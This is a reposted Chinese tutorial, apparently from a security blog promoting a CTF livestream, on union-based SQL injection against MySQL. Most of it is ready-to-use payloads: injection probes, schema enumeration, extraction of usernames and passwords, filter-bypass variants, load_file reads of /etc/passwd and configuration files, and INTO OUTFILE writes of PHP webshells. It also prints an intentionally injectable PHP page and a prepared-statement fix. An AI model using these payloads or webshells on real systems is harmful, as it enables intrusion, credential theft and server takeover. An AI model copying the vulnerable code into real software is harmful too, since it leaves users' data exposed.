直播预告:ctfshow联合查询注入详解

admin 2026-02-10 14:23:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档为CTFSQL注入技术教程,系统讲解联合查询(Union-based)注入的完整流程:从注入点判断、列数确定、数据库结构探测到数据提取,涵盖常用Payload、绕过技巧(大小写、注释、编码等)及实用函数(version、load_file、intooutfile等)。包含实战案例演示与PHP预处理语句修复方案,适用于CTF竞赛与渗透测试学习。 综合评分: 78 文章分类: CTF,WEB安全,渗透测试,漏洞分析,安全培训


cover_image

直播预告:ctfshow联合查询注入详解

原创

小话安全 小话安全

小话安全

2026年2月9日 18:31 山东

今晚20:00直播

在CTF的SQL注入题目中,联合查询(Union-based)是最常用的技术之一。以下是常用的命令和技巧:

第一阶段:信息收集

1、判断注入点

-- 判断注入点1' or '1'='11' or 1=1 -- 1" or 1=1 -- 1') or 1=1 -- 1 or 1=1 --

下面是对每个Payload的简要解释:

  1. 1' or '1'='1 这是一个经典的SQL注入Payload。它试图闭合原始查询中的字符串,然后添加一个始终为真的条件(’1’=’1’)。 例如,如果原始查询是:SELECT * FROM users WHERE id=’$input’,那么注入后变成: SELECT * FROM users WHERE id=’1′ or ‘1’=’1′ 这将返回所有用户,因为’1’=’1’始终为真。
  2. 1' or 1=1 -- 这里使用了注释符号(–)来注释掉原始查询中剩余的部分。注意,–后面有一个空格。 例如,原始查询可能是:SELECT * FROM users WHERE id=’$input’ AND status=’active’ 注入后:SELECT * FROM users WHERE id=’1′ or 1=1 — ‘ AND status=’active’ 由于–注释掉了后面的内容,所以查询变为:SELECT * FROM users WHERE id=’1′ or 1=1,同样返回所有用户。
  3. 1" or 1=1 -- 这个与上一个类似,但是针对使用双引号包裹输入的情况。如果原始查询是:SELECT * FROM users WHERE id=”$input” 注入后:SELECT * FROM users WHERE id=”1″ or 1=1 — “,同样注释掉了后面的内容。
  4. 1') or 1=1 -- 这个Payload用于测试输入点被括号和单引号包围的情况。例如,原始查询可能是:SELECT * FROM users WHERE (id=’$input’) 注入后:SELECT * FROM users WHERE (id=’1′) or 1=1 — ‘) 注释符注释掉了后面的括号和单引号,使得查询变为:SELECT * FROM users WHERE (id=’1’) or 1=1,返回所有用户。
  5. 1 or 1=1 -- 这个Payload用于测试数字型注入,即输入点没有引号包围。例如,原始查询:SELECT * FROM users WHERE id=$input 注入后:SELECT * FROM users WHERE id=1 or 1=1 — ,返回所有用户。

使用这些Payload时,我们观察应用程序的响应。如果返回的结果与正常输入不同(例如,返回了所有数据),则可能存在SQL注入漏洞。

通过命令1 or 1=1 — 确认注入点

2、确定列数(ORDER BY)

什么是列数?

在SQL注入中,列数指的是SELECT查询返回的字段数量。比如:

-- 返回3列:id, name, emailSELECT id, name, email FROM users;
-- 返回5列:id, name, email, age, citySELECT id, name, email, age, city FROM users;

为什么要确定列数?

在使用UNION操作符时,必须保证前后两个SELECT语句的列数相同,否则会报错:

-- 错误:第一个SELECT有3列,第二个SELECT有2列SELECT id, name, email FROM users UNION SELECT 1, 2;
-- 正确:两个SELECT都有3列SELECT id, name, email FROM users UNION SELECT 1, 2, 3;

如何确定列数?

方法1:使用ORDER BY(最常用)

-- 从1开始递增测试,直到报错,根据注入点更改1的格式1 ORDER BY 1 --      -- 按第1列排序(正常)1 ORDER BY 2 --      -- 按第2列排序(正常)1 ORDER BY 3 --      -- 按第3列排序(正常)1 ORDER BY 4 --      -- 按第4列排序(报错!)

方法2:使用UNION SELECT NULL(更安全)

-- 使用NULL填充,逐渐增加NULL数量1 UNION SELECT NULL -- 1 UNION SELECT NULL, NULL -- 1 UNION SELECT NULL, NULL, NULL -- 1 UNION SELECT NULL, NULL, NULL, NULL --   -- 报错!

方法3:使用数字序列

-- 逐渐增加数字1 UNION SELECT 1 -- 1 UNION SELECT 1,2 -- 1 UNION SELECT 1,2,3 -- 1 UNION SELECT 1,2,3,4 --   -- 报错!

经过测试列数为3

3、确定显示位置(UNION SELECT)

-- 假设有3列1 UNION SELECT 1,2,3 --
-- 或者使原查询不返回结果,确保看到UNION查询的结果-1 UNION SELECT 1,2,3 --

4. 获取数据库基本信息

-- 使用显示的位置替换数字-1 UNION SELECT 1,version(),database() -- -1 UNION SELECT 1,@@version,@@datadir -- -1 UNION SELECT 1,user(),@@hostname --

第二阶段:数据库结构探测

5. 获取所有数据库名

-1 UNION SELECT 1,database(),3-- -1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata -- -1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata --

6. 获取当前数据库的表名

-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -- 所有表名-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

7. 获取表的列名

-- MySQL-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
-- 所有列名-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--

8. 提取数据

-- 提取具体数据-1 UNION SELECT 1,username,password FROM users--
-- 拼接字段-1 UNION SELECT 1,concat(username,':',password),3 FROM users--
-- 分条显示-1 UNION SELECT 1,concat_ws(':',id,username,password),3 FROM users LIMIT 0,1--

9. 绕过技巧

-- 大小写绕过' UniOn SeLeCt 1,2,3--
-- 注释符绕过' UNION SELECT 1,2,3/* ' UNION SELECT 1,2,3#
-- 空格绕过'UNION/**/SELECT/**/1,2,3-- 'UNION%0ASELECT%0A1,2,3--
-- 双写绕过' UNIUNIONON SELSELECTECT 1,2,3--
-- 编码绕过%55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--

10. 实用函数

@@version          -- 版本database()         -- 当前数据库user()             -- 当前用户@@datadir          -- 数据目录load_file()        -- 读取文件into outfile       -- 写入文件group_concat()     -- 合并结果concat_ws()        -- 带分隔符合并

1.1 @@version – 获取数据库版本

-- 基本用法-1 UNION SELECT 1,@@version,3-- -- 输出示例:10.3.38-MariaDB-0ubuntu0.20.04.1
-- 获取版本详细信息-1 UNION SELECT 1,version(),3--
-- 结合其他函数-1 UNION SELECT 1,concat('Version: ', @@version),3--

1.2 database() – 获取当前数据库名

-- 基本用法-1 UNION SELECT 1,database(),3-- -- 输出示例:webapp_db
-- 查看所有数据库-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -- 输出:information_schema,mysql,performance_schema,webapp_db
-- 当前数据库用户权限-1 UNION SELECT 1,concat('DB: ', database(), ' User: ', user()),3--

1.3 user() – 获取当前用户

-- 基本用法-1 UNION SELECT 1,user(),3-- -- 输出示例:root@localhost
-- 查看所有用户-1 UNION SELECT 1,group_concat(user),3 FROM mysql.user--
-- 获取当前用户权限-1 UNION SELECT 1,concat_ws(':', user(), current_user()),3--
-- 判断是否是root用户-1 UNION SELECT 1,if(user() like 'root@%', 'ROOT USER!', 'Not root'),3--

1.4 @@datadir – 获取数据目录路径

-- 基本用法-1 UNION SELECT 1,@@datadir,3-- -- 输出示例:/var/lib/mysql/
-- 结合路径操作读取文件-1 UNION SELECT 1,load_file(concat(@@datadir, '../flag.txt')),3--
-- 获取其他路径信息-1 UNION SELECT 1,concat('datadir: ', @@datadir, ' basedir: ', @@basedir),3-- -- 输出:datadir: /var/lib/mysql/ basedir: /usr/

1.5 load_file() – 读取服务器文件

-- 读取系统文件(Linux)-1 UNION SELECT 1,load_file('/etc/passwd'),3-- /* 输出示例:root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...*/
-- 读取配置文件-1 UNION SELECT 1,load_file('/etc/apache2/apache2.conf'),3-- -1 UNION SELECT 1,load_file('/etc/nginx/nginx.conf'),3--
-- 读取网站源码-1 UNION SELECT 1,load_file('/var/www/html/index.php'),3--
-- 读取数据库文件-1 UNION SELECT 1,load_file(concat(@@datadir, 'webapp_db/users.frm')),3--
-- 读取flag文件(CTF常见)-1 UNION SELECT 1,load_file('/flag'),3-- -1 UNION SELECT 1,load_file('/home/ctf/flag.txt'),3--
-- 结合16进制绕过引号-1 UNION SELECT 1,load_file(0x2f6574632f706173737764),3-- -- 0x2f6574632f706173737wd = /etc/passwd 的16进制

7. into outfile – 写入文件(需要FILE权限)

-- 写入Webshell(PHP)-1&nbsp;UNION&nbsp;SELECT&nbsp;1,'<?php system($_GET["cmd"]); ?>',3&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/www/html/shell.php'--
-- 写入一句话木马-1&nbsp;UNION&nbsp;SELECT&nbsp;1,'<?php eval($_POST["c"]);?>',3&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/www/html/b.php'--
-- 写入普通文件-1&nbsp;UNION&nbsp;SELECT&nbsp;1,'Hello CTF!',3&nbsp;INTO&nbsp;OUTFILE&nbsp;'/tmp/test.txt'--
-- 从表中导出数据-1&nbsp;UNION&nbsp;SELECT&nbsp;1,concat(username,':',password),3&nbsp;FROM&nbsp;users&nbsp;INTO&nbsp;OUTFILE&nbsp;'/tmp/creds.txt'--
-- 导出查询结果(完整语法)SELECT&nbsp;*&nbsp;FROM&nbsp;users&nbsp;INTO&nbsp;OUTFILE&nbsp;'/tmp/users.csv'&nbsp;FIELDS TERMINATED&nbsp;BY&nbsp;','&nbsp;ENCLOSED&nbsp;BY&nbsp;'"'&nbsp;LINES TERMINATED&nbsp;BY&nbsp;'\n'

8. group_concat() – 合并多行结果

-- 合并不同列,用分隔符连接-1&nbsp;UNION&nbsp;SELECT&nbsp;1,concat_ws(' | ', username, password, email),3&nbsp;FROM&nbsp;users--&nbsp;-- 输出:admin | 123456 | [email protected]
-- 读取flag时格式化输出-1&nbsp;UNION&nbsp;SELECT&nbsp;1,concat_ws(':',&nbsp;'Flag is', flag_value),3&nbsp;FROM&nbsp;flags--&nbsp;-- 输出:Flag is: CTF{this_is_flag}
-- 结合其他函数-1&nbsp;UNION&nbsp;SELECT&nbsp;1,concat_ws(' - ', database(),&nbsp;user(), @@version),3--&nbsp;-- 输出:webapp_db - root@localhost - 10.3.38-MariaDB
-- NULL值处理(concat_ws会忽略NULL)-1&nbsp;UNION&nbsp;SELECT&nbsp;1,concat_ws(',', id, username,&nbsp;NULL, password),3&nbsp;FROM&nbsp;users--&nbsp;-- 输出:1,admin,secret123
-- 与group_concat配合-1&nbsp;UNION&nbsp;SELECT&nbsp;1,&nbsp; group_concat(concat_ws(':', username, password) SEPARATOR&nbsp;'\n'),3&nbsp;FROM&nbsp;users--&nbsp;/* 输出:admin:123456test:passwordguest:guest123*/

CTF常见路径

/flag/home/ctf/flag/var/www/html/flag.php/tmp/flag/root/flag.txt

读取网站源码

<?phperror_reporting(0);include_once&nbsp;"conn.php";
// 主题样式function&nbsp;githubio_style()&nbsp;{&nbsp; &nbsp;&nbsp;return&nbsp;<<<STYLE<style>&nbsp; &nbsp; body {&nbsp; &nbsp; &nbsp; &nbsp; background: #fff;&nbsp; &nbsp; &nbsp; &nbsp; color: #24292e;&nbsp; &nbsp; &nbsp; &nbsp; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";&nbsp; &nbsp; &nbsp; &nbsp; margin: 0;&nbsp; &nbsp; &nbsp; &nbsp; padding: 0;&nbsp; &nbsp; }
&nbsp; &nbsp; .container {&nbsp; &nbsp; &nbsp; &nbsp; max-width: 700px;&nbsp; &nbsp; &nbsp; &nbsp; margin: 40px auto;&nbsp; &nbsp; &nbsp; &nbsp; background: #f6f8fa;&nbsp; &nbsp; &nbsp; &nbsp; border: 1px solid #e1e4e8;&nbsp; &nbsp; &nbsp; &nbsp; border-radius: 6px;&nbsp; &nbsp; &nbsp; &nbsp; padding: 32px;&nbsp; &nbsp; &nbsp; &nbsp; box-shadow: 0 1px 3px rgba(27, 31, 35, .05);&nbsp; &nbsp; }
&nbsp; &nbsp; h1, h2 {&nbsp; &nbsp; &nbsp; &nbsp; border-bottom: 1px solid #eaecef;&nbsp; &nbsp; &nbsp; &nbsp; padding-bottom: .3em;&nbsp; &nbsp; }
&nbsp; &nbsp; a {&nbsp; &nbsp; &nbsp; &nbsp; color: #0366d6;&nbsp; &nbsp; &nbsp; &nbsp; text-decoration: none;&nbsp; &nbsp; }
&nbsp; &nbsp; a:hover {&nbsp; &nbsp; &nbsp; &nbsp; text-decoration: underline;&nbsp; &nbsp; }
&nbsp; &nbsp; ul {&nbsp; &nbsp; &nbsp; &nbsp; padding-left: 1.2em;&nbsp; &nbsp; }
&nbsp; &nbsp; .back {&nbsp; &nbsp; &nbsp; &nbsp; margin-top: 2em;&nbsp; &nbsp; &nbsp; &nbsp; display: inline-block;&nbsp; &nbsp; &nbsp; &nbsp; color: #586069;&nbsp; &nbsp; &nbsp; &nbsp; font-size: 0.95em;&nbsp; &nbsp; }</style>STYLE;}
// 页面内容输出echo&nbsp;"<!DOCTYPE html><html><head>&nbsp; &nbsp; <meta charset='utf-8'>&nbsp; &nbsp; <title>Pages</title>&nbsp; &nbsp; " .&nbsp;githubio_style() .&nbsp;"</head><body><div class='container'>";
if&nbsp;(isset($_GET['id'])) {&nbsp; &nbsp;&nbsp;// SQL注入漏洞点:直接拼接id参数,未做过滤&nbsp; &nbsp;&nbsp;$id&nbsp;=&nbsp;$_GET['id'];&nbsp; &nbsp;&nbsp;$sql&nbsp;=&nbsp;"SELECT id, title, content FROM pages WHERE id=$id";&nbsp; &nbsp;&nbsp;$result&nbsp;=&nbsp;$conn->query($sql);
&nbsp; &nbsp;&nbsp;if&nbsp;($row&nbsp;=&nbsp;$result->fetch_assoc()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<h1>"&nbsp;.&nbsp;$row['id'] .&nbsp;"-"&nbsp;.&nbsp;htmlspecialchars($row['title']) .&nbsp;"</h1>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<div>"&nbsp;.&nbsp;nl2br(htmlspecialchars($row['content'])) .&nbsp;"</div>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<a class='back' href='?'>← 返回列表</a>";&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<h2>未找到该页面</h2>";&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<a class='back' href='?'>← 返回列表</a>";&nbsp; &nbsp; }}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;// 显示文章列表&nbsp; &nbsp;&nbsp;echo&nbsp;"<h1>页面列表</h1><ul>";&nbsp; &nbsp;&nbsp;$result&nbsp;=&nbsp;$conn->query("SELECT id, title FROM pages ORDER BY id ASC");
&nbsp; &nbsp;&nbsp;while&nbsp;($row&nbsp;=&nbsp;$result->fetch_assoc()) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$id&nbsp;=&nbsp;$row['id'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$title&nbsp;=&nbsp;htmlspecialchars($row['title']);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<li><a href='?id=$id'>$title</a></li>";&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;echo&nbsp;"</ul>";}
echo&nbsp;"</div></body></html>";
$conn->close();?>

修复方案

// 修复代码:使用预处理语句防止SQL注入$id&nbsp;=&nbsp;$_GET['id'];
//&nbsp;方法1:使用预处理语句和绑定参数$sql&nbsp;=&nbsp;"SELECT id, title, content FROM pages WHERE id = ?";$stmt&nbsp;=&nbsp;$conn->prepare($sql);$stmt->bind_param("i",&nbsp;$id); &nbsp;//&nbsp;"i"&nbsp;表示整数类型$stmt->execute();$result&nbsp;=&nbsp;$stmt->get_result();
//&nbsp;或者更简洁的写法(如果支持)//&nbsp;$stmt&nbsp;=&nbsp;$conn->prepare($sql);//&nbsp;$stmt->execute([$id]);//&nbsp;$result&nbsp;=&nbsp;$stmt->get_result();

因为无法直接更改服务器文件,通过webshell更改文件。最终漏洞修复


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:小话安全 小话安全 小话安全《直播预告:ctfshow联合查询注入详解》

评论:0   参与:  3